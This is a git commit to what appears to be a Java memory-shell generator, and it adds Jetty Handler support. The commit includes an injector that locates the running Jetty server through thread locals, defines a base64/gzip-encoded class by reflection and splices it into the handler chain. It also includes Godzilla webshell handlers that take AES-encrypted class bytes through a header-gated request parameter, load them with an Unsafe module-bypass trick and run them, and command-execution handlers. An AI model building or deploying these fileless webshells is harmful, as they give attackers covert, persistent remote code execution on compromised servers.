feat: support jetty handler shell

This commit is contained in:
ReaJason
2025-12-08 01:43:41 +08:00
parent 2fa3310bf8
commit f4a16e5d37
35 changed files with 901 additions and 113 deletions
@@ -69,7 +69,9 @@ public class ServerFactory {
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
.addShellClass(HANDLER, GodzillaJettyHandler.class)
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
@@ -140,7 +142,9 @@ public class ServerFactory {
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
.addShellClass(HANDLER, CommandJettyHandler.class)
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
@@ -19,13 +19,18 @@ public class ShellType {
public static final String PROXY_VALVE = "Proxy" + VALVE;
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
public static final String HANDLER = "Handler";
public static final String JETTY6_HANDLER = "Jetty6Handler";
public static final String JETTY_EE_HANDLER = "JettyEEHandler";
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
public static final String NETTY_HANDLER = "NettyHandler";
public static final String AGENT = "Agent";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@@ -11,6 +11,7 @@ import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.memshell.server.Jetty;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
@@ -52,6 +53,11 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
}
if (server instanceof Jetty
&& (ShellType.HANDLER.equals(shellType) || ShellType.JAKARTA_HANDLER.equals(shellType))) {
builder = JettyHandlerGenerator.build(builder, shellConfig.getServerVersion());
}
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
@@ -0,0 +1,85 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.buddy.ClassRenameVisitorWrapper;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.pool.TypePool;
/**
* @author ReaJason
* @since 2025/12/2
*/
public class JettyHandlerGenerator {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, String serverVersion) {
String superClassName = null;
DynamicType.Builder<?> newBuilder = builder;
if (serverVersion != null) {
switch (serverVersion) {
case "6":
superClassName = "org/mortbay/jetty/handler/AbstractHandler";
newBuilder = newBuilder.visit(new ClassRenameVisitorWrapper("org/eclipse/jetty/server", "org/mortbay/jetty"));
break;
case "7+":
superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
break;
case "12":
superClassName = "org/eclipse/jetty/server/Handler$Abstract";
break;
}
}
if (superClassName == null) {
throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
}
String finalSuperClassName = superClassName;
return newBuilder.visit(new AsmVisitorWrapper.ForDeclaredMethods() {
@Override
public ClassVisitor wrap(TypeDescription instrumentedType,
ClassVisitor classVisitor,
Implementation.Context implementationContext,
TypePool typePool,
FieldList<FieldDescription.InDefinedShape> fields,
MethodList<?> methods,
int writerFlags,
int readerFlags) {
return new ClassVisitor(Opcodes.ASM9, classVisitor) {
@Override
public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
super.visit(version, access, name, signature, finalSuperClassName, interfaces);
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (!name.equals("<init>")) {
return mv;
}
return new MethodVisitor(Opcodes.ASM9, mv) {
@Override
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
if (opcode == org.objectweb.asm.Opcodes.INVOKESPECIAL &&
"java/lang/Object".equals(owner) &&
"<init>".equals(name)) {
super.visitMethodInsn(opcode, finalSuperClassName, name, descriptor, isInterface);
} else {
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
}
}
};
}
};
}
});
}
}
@@ -32,7 +32,13 @@ public class ValveGenerator {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
String packageName = null;
if (serverVersion != null) {
if (shell instanceof Bes) {
packageName = BES_VALVE_PACKAGE;
}
if (shell instanceof TongWeb) {
if (serverVersion == null) {
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
}
switch (serverVersion) {
case "6":
packageName = TONGWEB6_VALVE_PACKAGE;
@@ -43,19 +49,15 @@ public class ValveGenerator {
case "8":
packageName = TONGWEB8_VALVE_PACKAGE;
break;
default:
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
}
}
if (shell instanceof Bes) {
packageName = BES_VALVE_PACKAGE;
}
if (StringUtils.isEmpty(packageName)) {
if (shell instanceof TongWeb) {
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
if (StringUtils.isNotBlank(packageName)) {
return builder.visit(new ValveRenameVisitorWrapper(packageName));
}
return builder;
}
return builder.visit(new ValveRenameVisitorWrapper(packageName));
}
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
private final String newPackageName;
@@ -0,0 +1,232 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class JettyHandlerInjector {
private String msg = "";
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public JettyHandlerInjector() {
Object server = null;
try {
server = getServer();
} catch (Throwable throwable) {
msg += "server error: " + getErrorMessage(throwable);
}
if (server != null) {
msg += ("server: [" + server + "] ");
try {
Object shell = getShell(server);
inject(server, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
System.out.println(msg);
}
public void inject(Object server, Object handler) throws Exception {
Object nextHandler = getFieldValue(server, "_handler");
if (handler.getClass().isAssignableFrom(nextHandler.getClass())) {
return;
}
setFieldValue(handler, "nextHandler", nextHandler);
setFieldValue(handler, "_server", server);
setFieldValue(server, "_handler", handler);
// jetty6
try {
invokeMethod(invokeMethod(server, "getContainer"), "addBean", new Class[]{Object.class}, new Object[]{handler});
} catch (Throwable ignored) {
}
// jetty 7/8/9/10/11/12
try {
invokeMethod(server, "addBean", new Class[]{Object.class, boolean.class}, new Object[]{handler, true});
} catch (Throwable ignored) {
}
}
@Override
public String toString() {
return msg;
}
/**
* org.eclipse.jetty.server.Server
*/
private Object getServer() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
}
}
}
}
} catch (Exception ignored) {
}
}
return null;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,9 +1,6 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
import com.reajason.javaweb.memshell.injector.jetty.*;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
@@ -45,6 +42,8 @@ public class Jetty extends AbstractServer {
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
.addInjector(SERVLET, JettyServletInjector.class)
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
.addInjector(HANDLER, JettyHandlerInjector.class)
.addInjector(JAKARTA_HANDLER, JettyHandlerInjector.class)
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
.build();
}
@@ -0,0 +1,64 @@
package com.reajason.javaweb.memshell.shelltool.command;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Scanner;
/**
* @author ReaJason
* @since 2025/5/15
*/
public class CommandJettyAgentHandler {
private static String paramName;
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object baseRequest = null;
Object request = null;
Object response = null;
if (args.length == 4) {
Object arg4 = args[3];
baseRequest = args[1];
if (arg4 instanceof Integer) {
// jetty6
request = args[1];
response = args[2];
} else {
request = args[2];
response = args[3];
}
} else {
// ee10
request = args[0];
response = args[1];
}
try {
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (p == null || p.isEmpty()) {
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return false;
}
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String param) throws Exception {
return null;
}
}
@@ -1,37 +1,35 @@
package com.reajason.javaweb.memshell.shelltool.command;
import org.eclipse.jetty.server.Handler;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Response;
import org.eclipse.jetty.util.Callback;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.charset.Charset;
import java.util.Scanner;
import static java.nio.charset.StandardCharsets.UTF_8;
/**
* @author ReaJason
* @since 2025/5/15
* @since 2025/11/29
*/
public class CommandJettyHandler {
private static String paramName;
private Handler nextHandler;
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object baseRequest = null;
Object request = null;
Object response = null;
if (args.length == 4) {
Object arg4 = args[3];
baseRequest = args[1];
if (arg4 instanceof Integer) {
// jetty6
request = args[1];
response = args[2];
} else {
request = args[2];
response = args[3];
}
} else {
// ee10
request = args[0];
response = args[1];
public CommandJettyHandler() {
}
public boolean handle(Object request, Object response) {
try {
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (p == null || p.isEmpty()) {
@@ -41,14 +39,7 @@ public class CommandJettyHandler {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
return true;
}
} catch (Throwable e) {
@@ -57,6 +48,51 @@ public class CommandJettyHandler {
return false;
}
// jetty12
public boolean handle(Request request, Response response, Callback callback) throws Exception {
try {
Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8);
String p = (String) invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{paramName});
if (p == null || p.isEmpty()) {
Object headers = invokeMethod(request, "getHeaders");
p = (String) invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{paramName});
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
ByteBuffer content = UTF_8.encode(new Scanner(inputStream).useDelimiter("\\A").next());
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, callback});
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return nextHandler.handle(request, response, callback);
}
// jetty6
public void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException {
if (handle(request, response)) {
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
return;
}
if (nextHandler != null) {
nextHandler.handle(target, request, response, dispatch);
}
}
// jetty7+
public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
if (handle(request, response)) {
invokeMethod(baseRequest, "setHandled", new Class[]{boolean.class}, new Object[]{true});
return;
}
if (nextHandler != null) {
nextHandler.handle(target, baseRequest, request, response);
}
}
private String getParam(String param) {
return param;
}
@@ -64,4 +100,35 @@ public class CommandJettyHandler {
private InputStream getInputStream(String param) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
}
}
}
@@ -0,0 +1,127 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
/**
* @author ReaJason
*/
public class GodzillaJettyAgentHandler extends ClassLoader {
private static String key;
private static String pass;
private static String md5;
private static String headerName;
private static String headerValue;
private static Class<?> payload;
public GodzillaJettyAgentHandler() {
}
public GodzillaJettyAgentHandler(ClassLoader z) {
super(z);
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object baseRequest = null;
Object request = null;
Object response = null;
if (args.length == 4) {
Object arg4 = args[3];
baseRequest = args[1];
if (arg4 instanceof Integer) {
// jetty6
request = args[1];
response = args[2];
} else {
request = args[2];
response = args[3];
}
} else {
// ee10
request = args[0];
response = args[1];
}
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
try {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] data = base64Decode(parameter);
data = this.x(data, false);
if (payload == null) {
payload = new GodzillaJettyAgentHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(request);
f.equals(data);
f.toString();
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
}
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
}
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return false;
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
}
public byte[] x(byte[] s, boolean m) throws Exception {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,51 +1,42 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.eclipse.jetty.server.Handler;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Response;
import org.eclipse.jetty.util.Callback;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.ByteBuffer;
import java.nio.charset.Charset;
import static java.nio.charset.StandardCharsets.UTF_8;
/**
* @author ReaJason
* @since 2025/11/29
*/
public class GodzillaJettyHandler extends ClassLoader {
public class GodzillaJettyHandler {
private static String key;
private static String pass;
private static String md5;
private static String headerName;
private static String headerValue;
private static Class<?> payload;
private Handler nextHandler;
public GodzillaJettyHandler() {
}
public GodzillaJettyHandler(ClassLoader z) {
super(z);
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object baseRequest = null;
Object request = null;
Object response = null;
if (args.length == 4) {
Object arg4 = args[3];
baseRequest = args[1];
if (arg4 instanceof Integer) {
// jetty6
request = args[1];
response = args[2];
} else {
request = args[2];
response = args[3];
}
} else {
// ee10
request = args[0];
response = args[1];
}
public boolean handle(Object request, Object response) {
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
@@ -55,7 +46,7 @@ public class GodzillaJettyHandler extends ClassLoader {
byte[] data = base64Decode(parameter);
data = this.x(data, false);
if (payload == null) {
payload = new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
payload = reflectionDefineClass(data);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
@@ -67,9 +58,6 @@ public class GodzillaJettyHandler extends ClassLoader {
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
}
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
@@ -82,6 +70,127 @@ public class GodzillaJettyHandler extends ClassLoader {
return false;
}
// jetty12
public boolean handle(Request request, Response response, Callback callback) throws Exception {
try {
Object headers = invokeMethod(request, "getHeaders");
String value = (String) invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{headerName});
if (value != null && value.contains(headerValue)) {
StringWriter writer = new StringWriter();
try {
Object parameters = Request.class.getMethod("getParameters", Request.class).invoke(null, request);
String parameter = (String) invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{pass});
byte[] data = base64Decode(parameter);
data = this.x(data, false);
if (payload == null) {
payload = reflectionDefineClass(data);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(request);
f.equals(data);
f.toString();
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
}
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
ByteBuffer content = UTF_8.encode(writer.toString());
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, callback});
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return nextHandler.handle(request, response, callback);
}
// jetty6
public void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException {
if (handle(request, response)) {
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
return;
}
if (nextHandler != null) {
nextHandler.handle(target, request, response, dispatch);
}
}
// jetty7+
public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
if (handle(request, response)) {
invokeMethod(baseRequest, "setHandled", new Class[]{boolean.class}, new Object[]{true});
return;
}
if (nextHandler != null) {
nextHandler.handle(target, baseRequest, request, response);
}
}
public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
Object unsafe = null;
Object rawModule = null;
long offset = 48;
Method getAndSetObjectM = null;
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
unsafe = unsafeField.get(null);
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
} catch (Throwable ignored) {
}
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defMethod.setAccessible(true);
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
if (getAndSetObjectM != null) {
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
}
return clazz;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
@@ -0,0 +1,8 @@
package org.eclipse.jetty.server;
/**
* @author ReaJason
* @since 2025/12/2
*/
public class Connector {
}
@@ -0,0 +1,21 @@
package org.eclipse.jetty.server;
import org.eclipse.jetty.util.Callback;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/11/29
*/
public interface Handler {
void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException;
boolean handle(Request request, Response response, Callback callback) throws Exception;
void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException;
}
